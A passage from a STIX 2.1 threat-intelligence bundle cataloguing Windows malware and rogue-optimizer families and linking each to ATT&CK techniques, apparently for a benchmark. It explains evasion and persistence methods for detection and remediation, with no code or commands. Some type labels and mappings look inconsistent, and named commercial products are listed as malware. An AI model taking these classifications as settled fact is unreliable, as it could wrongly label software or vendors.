      "source_ref": "malware--342d775c-f156-5ca2-b36d-a9ade42ffbd8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysdrop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sysn",
      "description": "Sysn (cataloged across security intelligence as Trojan:Win32/Sysn, Trojan.Win32.Sysna, and Swisyn) is a resilient family of Delphi-based Windows trojans and payload loaders active since 2011. Characterized by aggressive defense evasion and system modification capabilities, Sysn is distributed via weaponized spearphishing attachments, trojanized key generators, and drive-by web exploit kits. Upon execution on a compromised endpoint, Sysn deploys dynamic API hashing and multi-layered binary packing to evade static signature detection. It systematically impairs host security controls: modifying the Windows Registry to disable the Windows Firewall (DisableFirewall), terminating security monitoring services, and altering the local HOSTS file (C:\\Windows\\System32\\drivers\\etc\\hosts) to redirect antivirus update domains and security vendor websites to loopback (127.0.0.1). Sysn establishes persistence by installing a rogue Windows Service (T1543.003) or modifying Registry Run keys, subsequently initiating encrypted HTTP beaconing to command-and-control servers to download and execute secondary malware payloads including information stealers and banking trojans. (Observed samples in benchmark: 99)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Sysn",
        "Trojan.Win32.Sysn",
        "Trojan.Win32.Sysna",
        "Swisyn",
        "Win32/Sysn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sysn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sysn"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6e0582e-3885-5760-b482-1470bc56f40d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49cae4bf-64b9-53f6-8ebe-bcdca0180c17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b0c7567-bb72-5b30-aecf-3e0dd27ac412",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16b3b3b9-777b-5c1d-b6ef-d0df2784606c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dce19f86-591a-5abf-820f-1e1e9d65bdb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d3ba903-6b43-5b7c-a848-2bd34410decb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a386af9-6fbd-5241-95d0-9c4cae1c2b9f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--acb39b5d-4cc5-5779-810c-501d0d7c77d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systemcare",
      "description": "Program:Win32/Systemcare (often associated with software like 'Advanced SystemCare' or generic Rogue Optimizers) is a deceptive Potentially Unwanted Program (PUA) that masquerades as a highly necessary 'System Optimizer' or 'Registry Cleaner'. It utilizes aggressive, scareware-like tactics to convince users that their computer is heavily fragmented, infected with errors, or running critically slow. Its ultimate goal is not to improve system performance, but to frighten the user into purchasing a premium 'license' to fix the fabricated issues it supposedly found.<br><br><b>Understanding Systemcare (Rogue Optimizers)</b><br>To an end-user, Systemcare often appears helpful, displaying professional-looking interfaces, gauges, and progress bars. For an enterprise, it represents a security risk and a massive source of IT support overhead. These rogue optimizers often make unauthorized, damaging changes to the Windows Registry in an attempt to 'clean' it, leading to system instability, broken dependencies, and application crashes. Furthermore, they are frequently bundled with actual adware and browser hijackers.<br><br><b>Execution and Extortion Mechanics</b><br>Systemcare is typically distributed via deceptive malvertising (fake 'Update Your Drivers' pop-ups) or bundled with other freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys or Scheduled Tasks (`T1547.001`) to ensure it launches on boot. It immediately runs a high-speed 'scan' that invariably flags hundreds of normal registry entries, temporary files, and tracking cookies as 'Critical System Errors' (`T1491`). When the user attempts to click 'Fix Issues', the software blocks the action and redirects the user to an online payment portal, demanding a subscription fee to unlock the remediation features.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is user deception, potential financial fraud, and system instability caused by aggressive registry deletion. IoCs are highly visible: persistent pop-ups warning of system errors, and a new, unapproved application icon in the system tray. EDR logs will show the software making extensive, questionable modifications to `HKLM` and `HKCU` registry hives under the guise of optimization. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systemcare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systemcare"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3322e74a-183e-57e5-a32e-8c87762eb116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--acb39b5d-4cc5-5779-810c-501d0d7c77d2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemcare exhibits technique T1189 (Drive-by Compromise (Deceptive ads and bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--680b03e9-e1a9-5e7d-9199-4bd3657132d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--acb39b5d-4cc5-5779-810c-501d0d7c77d2",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemcare exhibits technique T1491 (Defacement (Displaying fake error reports))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15355505-2d8a-584e-8f44-1e6570872c70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--acb39b5d-4cc5-5779-810c-501d0d7c77d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemcare exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e21620b7-face-5b8a-a352-b48254a47480",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--acb39b5d-4cc5-5779-810c-501d0d7c77d2",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemcare exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9462a2a-088b-5459-b7b0-9f7f7e13364d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systemhealer",
      "description": "SystemHealer (classified across antimalware research telemetry under signatures including PUA:Win32/SystemHealer, Program:Win32/SystemHealer, and Rogue:Win32/SystemHealer) is a deceptive rogue system utility and Potentially Unwanted Application (PUA) active since 2015. Distributed through deceptive software bundlers, fake update popups, and intrusive malvertising networks, SystemHealer presents itself as an all-in-one Windows registry and performance optimization tool. Once installed, it performs fabricated system scans, displaying hundreds of exaggerated or fictitious 'critical errors', 'registry corruptions', and 'security vulnerabilities'. SystemHealer locks users into aggressive scareware workflows, claiming system collapse is imminent unless the victim purchases an expensive annual software license. It creates background scheduled tasks and autorun registry keys to display persistent nag screens and prevent uninstallation. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/SystemHealer",
        "Program:Win32/SystemHealer",
        "Rogue:Win32/SystemHealer",
        "Win32/SystemHealer",
        "PUA.SystemHealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systemhealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systemhealer"
        }
      ],
      "labels": [
        "rogue",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e29681e0-6ab1-53ad-84fd-ba359cc4e766",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systemhijack",
      "description": "<h3>Executive Summary</h3>\nSystemHijack is a generic classification for a severe category of Trojans designed to completely subvert the core functions of the Windows operating system. Unlike simple adware, SystemHijack malware fundamentally alters the user environment, disables critical security controls, and locks the user out of administrative functions to ensure the malware's survival and the attacker's continued control.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSystemHijack trojans are often deployed as the \"enforcer\" component of a larger infection chain (e.g., following a successful FakeAV or Ransomware deployment). They are typically distributed via drive-by downloads or bundled with pirated software.\n\nOnce executed, the malware systematically dismantles local security controls:\n<ul>\n<li><strong>Administrative Lockout:</strong> The trojan heavily modifies the Windows Registry to disable critical diagnostic tools. It typically blocks access to the Task Manager (`DisableTaskMgr`), the Registry Editor (`DisableRegistryTools`), and the Command Prompt (`DisableCMD`), preventing the victim from manually terminating the malicious processes.</li>\n<li><strong>Security Software Disablement:</strong> SystemHijack actively seeks out and terminates processes associated with popular antivirus and EDR solutions. It may also modify the Windows `HOSTS` file to block the machine from accessing security vendor websites to download updates or remediation tools.</li>\n<li><strong>Environment Subversion:</strong> The malware often alters the system's DNS settings (DNS Hijacking) to redirect all web traffic through attacker-controlled proxies, enabling Man-in-the-Middle (MitM) attacks and the injection of further malicious payloads.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA SystemHijack infection means the endpoint can no longer be trusted. The local security controls have been intentionally sabotaged, and the machine is fully under the control of the threat actor. It is highly likely that secondary payloads (like keyloggers or ransomware) have also been deployed.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Triage:</strong> Because the standard user environment is locked down, incident responders must boot the infected machine into Windows \"Safe Mode with Command Prompt\" to bypass the registry modifications that disable administrative tools.</li>\n<li><strong>Registry Restoration:</strong> Manually revert the malicious registry keys in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System` to restore access to the Task Manager and Registry Editor.</li>\n<li><strong>Bare-Metal Re-imaging:</strong> While manual cleanup is possible, it is incredibly tedious and prone to error. Because the core OS has been subverted, the only guaranteed method of remediation is a complete bare-metal wipe and re-image from a trusted, clean baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.SystemHijack",
        "Win32/SystemHijack",
        "SystemModifier"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systemhijack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systemhijack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff0afc71-c34f-5b7a-8c8b-37d64b5d825b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29681e0-6ab1-53ad-84fd-ba359cc4e766",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemhijack exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a42a06a3-a41a-5da9-a20f-3b1f4775eab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29681e0-6ab1-53ad-84fd-ba359cc4e766",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemhijack exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f74602ef-7030-5392-a95f-43252c18ad12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29681e0-6ab1-53ad-84fd-ba359cc4e766",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemhijack exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1e512f8-ed19-5201-9568-f0fe8eda815e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29681e0-6ab1-53ad-84fd-ba359cc4e766",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systemhijack exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systex",
      "description": "Trojan:Win32/Systex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Systex</b><br>To an end-user, a Systex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Systex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Systex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Systex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Systex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25f92749-0969-5b05-8064-1c9f0579cffe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e67e534-17c3-53ac-8370-16b6bd43b958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--666394b5-909c-58f8-9b47-633e593cfba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9d13c82-584e-5bc7-bdc6-85e540eeebb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--874d1f39-6507-5cf4-a9d9-221a83227f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebb210a9-9a72-5f8a-ad4d-83e6d6323a85",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2630d3c7-7e4e-50cd-889d-623071dd9d72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systimizer",
      "description": "Rogueware:Win32/Systimizer is a deceptive application masquerading as a high-end PC optimization and registry cleaning tool. It operates on a model of psychological manipulation and extortion, deliberately generating fabricated system error reports to scare the user into purchasing a 'premium' software license (`T1189`).<br><br><b>Understanding Systimizer (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, displaying frequent pop-ups warning that the computer's health is 'Critical' and that a system crash is imminent. For an IT department, Systimizer is a nuisance that generates false helpdesk tickets and degrades system performance. The software itself is largely useless, and its aggressive, automated 'cleaning' routines can actually corrupt vital Windows registry keys, causing genuine instability.<br><br><b>Execution and Deception Mechanics</b><br>Systimizer is heavily distributed via aggressive affiliate marketing networks, deceptive pop-up ads claiming the user's PC is slow, or bundled stealthily with freeware installers. Upon execution, it performs a rapid, highly animated 'scan' that is guaranteed to find thousands of 'critical errors' (which are usually just temporary internet files or completely benign tracking cookies). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager to prevent the user from easily terminating its process (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Systimizer GUI, unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systimizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systimizer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12984e2b-8eb1-5363-8b63-f8977f8f4d02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2630d3c7-7e4e-50cd-889d-623071dd9d72",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systimizer exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14234e86-956d-5563-ad8c-bf63ae1a5392",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2630d3c7-7e4e-50cd-889d-623071dd9d72",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systimizer exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfa65851-933f-5c2f-8086-0ffc9c34363f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2630d3c7-7e4e-50cd-889d-623071dd9d72",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systimizer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systweak",
      "description": "Systweak (commonly identified across antimalware engines under designations including PUA:Win32/Systweak, Rogue:Win32/Systweak, Adware:Win32/Systweak, and PUP.Optional.Systweak) represents an extensive family of potentially unwanted applications (PUAs) and rogue PC optimization scareware products. Marketed under trade names such as Advanced System Protector, RegClean Pro, and Advanced Driver Updater, Systweak software infiltrates Windows endpoints predominantly through deceptive third-party software installers and pay-per-install (PPI) software bundlers. Once installed, the software executes automated system diagnostics designed to flag benign temporary files, obsolete registry entries, and standard system logs as critical system corruption and high-risk security threats. It bombards users with persistent pop-up alerts and alarming warning dialogues, coercively demanding the purchase of a paid software subscription to remediate the purported issues. In addition, Systweak programs establish persistent scheduled tasks and registry run keys, consume system memory and CPU cycles, and may bundle supplementary browser toolbars. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Systweak",
        "Rogue:Win32/Systweak",
        "Adware:Win32/Systweak",
        "PUP.Optional.Systweak",
        "Program:Win32/Systweak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systweak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systweak"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eefcf2c3-56ad-508b-bc66-d885a487a0a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweak exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35444ab8-5fdd-579e-955b-4e1a583b204b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweak exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--873e5868-72e9-596c-872e-3cd8fa98b2f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0849fac1-bfe9-5f35-a67a-d942549bc852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweak exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
